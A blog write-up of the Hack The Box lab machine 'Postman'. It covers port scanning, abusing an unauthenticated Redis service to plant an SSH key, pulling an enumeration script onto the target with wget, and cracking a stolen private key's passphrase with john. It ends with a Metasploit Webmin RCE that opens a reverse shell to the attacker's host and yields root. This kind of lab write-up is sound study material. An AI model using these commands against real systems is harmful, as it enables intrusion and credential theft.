Posts Hack The Box- Postman
Post
Cancel

Hack The Box- Postman

Since this is my first box on Hack the box, I learnt a lot from this. This box was quite wierd for me. Let start by setting the configuration. Desktop View

Configuration


I am using Kali Linux on Virtual Box. It is always good idea to map the ip adderess of the box in the /etc/hosts file so that it can easily be remembered. This can be done by running following line of code.

1
$ echo "10.10.10.160 postman.htb" >> /etc/hosts

Nmap


As always, we will use nmap to scan for all open ports and services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sV -sT -sC postman.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-09 01:39 EST
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http?
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 269.64 seconds

Web Enumeration


As we can see, there are three open ports and ftp is disabled. Also robots.txt is disabled. Let’s open the http page on port 80. Desktop View

Seems like someone’s blog. There is not any useful information there. So, let’s try run gobuster for finding directories and files.

1
2
3
4
5
6
7
$ gobuster dir -u http://postman.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -q
/images (Status: 301)
/upload (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/server-status (Status: 403)

We got an upload folder which seems to be interesting but there was just bundle of images. Desktop View

At this point, we didn’t get anything useful. Maybe we are missing something. Let’s check for all open ports by running command:

1
2
3
4
5
6
7
8
9
10
11
$ nmap -sS -p 1-65535 postman.htb
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.26s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt

Nmap done: 1 IP address (1 host up) scanned in 4548.36 seconds

Okay 1 more port appeared! I don’t have any idea of redis service. After contacting our friend google , he suggested a very good page here. The first step was to check if authentication is required. Using nc, I tried echo command and it reflected me back. Okay , we can proceed further with this exploit.

1
2
3
4
5
6
7
$ nc -v postman.htb 6379
postman.htb [10.10.10.160] 6379 (?) open
echo "Authentication required?"
$24
Authentication required?
quit
+OK

Now , our next step to generate a ssh rsa key which can be done by following command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:TEPWxxvFEd9AoEM+xQGEYHHyVHuUeSugqKuFihcLCf4 root@kali
The key's randomart image is:
+---[RSA 3072]----+
|      =o===+=O*o |
|     . B.oo=B oo.|
|       .+.*o.+ .o|
|.     .o.. +o .  |
|o.   .  S    .   |
|o....            |
| .oo..           |
|..oE.            |
|o...             |
+----[SHA256]-----+

We then have to send the prepared public key to the redis server.

1
$ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt

Using redis-cli, we connect to the redis server and print the current working directory as well as the location of where the database will be saved to.

1
2
3
4
5
6
7
redis-cli -h postman.htb
postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"
postman.htb:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"

Alright, we are in the correct directory already and the database will be written to authorized_keys when we save. Next we need to clear the database, write our key into it and then save it.

1
2
3
4
5
6
$ redis-cli -h postman.htb flushall
OK
$ cat foo.txt | redis-cli -h postman.htb -x set crackit
OK
$ redis-cli -h postman.htb save
OK

Now if we try to ssh as the redis user using the ssh key we made,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ssh -i ~/.ssh/id_rsa redis@postman.htb
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Dec 31 09:16:39 2019 from 10.10.XX.XX
redis@Postman:~$

Success! If we list /home, we see another user called Matt which we don’t have permission to access right now. So, we have to escalate our privilege to read user flag.

1
2
redis@Postman:~$ ls /home
Matt

Lets see if running LinEnum will give us any insights on how to get access to Matt. I will be starting a web server on my machine using the builtin SimpleHTTPServer module in python and use wget to retrieve it.

1
2
3
4
5
$ mkdir httpserver
$ cd httpserver
$ cp ~/LinEnum.sh .
$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
1
2
3
4
5
6
7
8
9
10
redis@Postman:~$ wget http://10.10.XX.XX/LinEnum.sh
--2019-12-31 10:18:04--  http://10.10.XX.XX/LinEnum.sh
Connecting to 10.10.XX.XX:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46476 (45K) [text/x-sh]
Saving to: ‘LinEnum.sh’

LinEnum.sh                   100%[=============================================>]  45.39K  59.1KB/s    in 0.8s    

2019-12-31 10:18:05 (59.1 KB/s) - ‘LinEnum.sh’ saved [46476/46476]

Running LinEnum.sh shows that there is a ssh private key backup in /opt named id_rsa.bak owned by user Matt. Interesting…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
redis@Postman:~$ ./LinEnum.sh
...
[-] Location and Permissions (if accessible) of .bak file(s):
-rwxr-xr-x 1 Matt Matt 1743 Aug 26 00:11 /opt/id_rsa.bak
-rw------- 1 root root 695 Aug 25 21:24 /var/backups/group.bak
-rw------- 1 root shadow 577 Aug 25 21:24 /var/backups/gshadow.bak
-rw------- 1 root shadow 935 Aug 26 03:50 /var/backups/shadow.bak
-rw------- 1 root root 1382 Aug 25 23:48 /var/backups/passwd.bak
...

redis@Postman:~$ cat /opt/id_rsa.bak
redis@Postman:~$ cat /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----

With this private ssh key, we then try to connect to ssh as user Matt.

1
2
$ ssh -i id_rsa.bak Matt@postman.htb
Enter passphrase for key 'id_rsa.bak':

Seems like we need a passphrase. Lets see if we can crack it with john.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python ssh2john.py id_rsa.bak > matt.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt matt.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (matt)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:04 DONE (2019-12-31 05:57) 0.2083g/s 2987Kp/s 2987Kc/s 2987KC/sa6_123..*7¡Vamos!
Session completed

With the passphrase, lets try to ssh as Matt again.

1
2
3
$ ssh -i id_rsa.bak Matt@postman.htb
Enter passphrase for key 'id_rsa.bak': 
Connection closed by 10.10.10.160 port 22

What is going on? We are immediately getting disconnected. Okay, Since we have credentials now, without any further delay we moved on to the next service webmin at port 10000. Desktop View

Hmm let’s shift to https. We are immediately greeted with a login page. Desktop View

Lets try to login using Matt:computer2008 as our credentials. Desktop View

Ooo it seems like a dashboard that monitors the Webmin service. Looking for Webmin version in source page of website. Lets see if we can find any exploits using searchsploit.

1
2
3
4
5
6
7
8
9
10
$ searchsploit webmin
-------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                            |  Path
                                                                          | (/usr/share/exploitdb/)
-------------------------------------------------------------------------- ----------------------------------------
...
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)    | exploits/linux/remote/46984.rb
...
-------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Exploitation

Yep, Exploit is available for the same version which the system is running. Lets exploit it with metasploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ msfconsole
msf5 > use exploit/linux/http/webmin_packageup_rce
msf5 exploit(linux/http/webmin_packageup_rce) > set LHOST 10.10.XX.XX
LHOST => 10.10.XX.XX
msf5 exploit(linux/http/webmin_packageup_rce) > set RHOSTS postman.htb
RHOSTS => postman.htb
msf5 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt
USERNAME => Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008
PASSWORD => computer2008
msf5 exploit(linux/http/webmin_packageup_rce) > run

*] Started reverse TCP handler on 10.10.XX.XX:1337 
[+] Session cookie: 169f13b0b46f82aeea5f5ea57524526f
[*] Attempting to execute the payload...
[*] Command shell session 2 opened (10.10.XX.XX:4444 -> 10.10.10.160:55156) at 2019-12-31 07:50:17 -0500

There’s no prompt but lets try to upgrade to a tty shell.

1
2
3
4
python -c 'import pty; pty.spawn("/bin/bash")'
root@Postman:/usr/share/webmin/package-updates/# id
id
uid=0(root) gid=0(root) groups=0(root)

Oh , We got a shell and we are root already!!!! Now we can read both flags easily.

User Flag(Method-1)

1
2
3
root@Postman:/usr/share/webmin/package-updates/# cat /home/Matt/user.txt
cat /home/Matt/user.txt
517aXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Root Flag

1
2
3
root@Postman:/usr/share/webmin/package-updates/# cat /root/root.txt
cat /root/root.txt
a257XXXXXXXXXXXXXXXXXXXXXXXXXXXX

User Flag(Method-2)

Since ssh is disabled for remote connections that’s why we can’t ssh into user Matt. Running su allowed us login at Matt.

1
2
3
4
redis@Postman:~$ su Matt
Password: 
Matt@Postman:/var/lib/redis$ cat ~/user.txt
517aXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And we owned the system…

Feedback is appriciated!

Thank You!!!

This post is licensed under CC BY 4.0 by the author.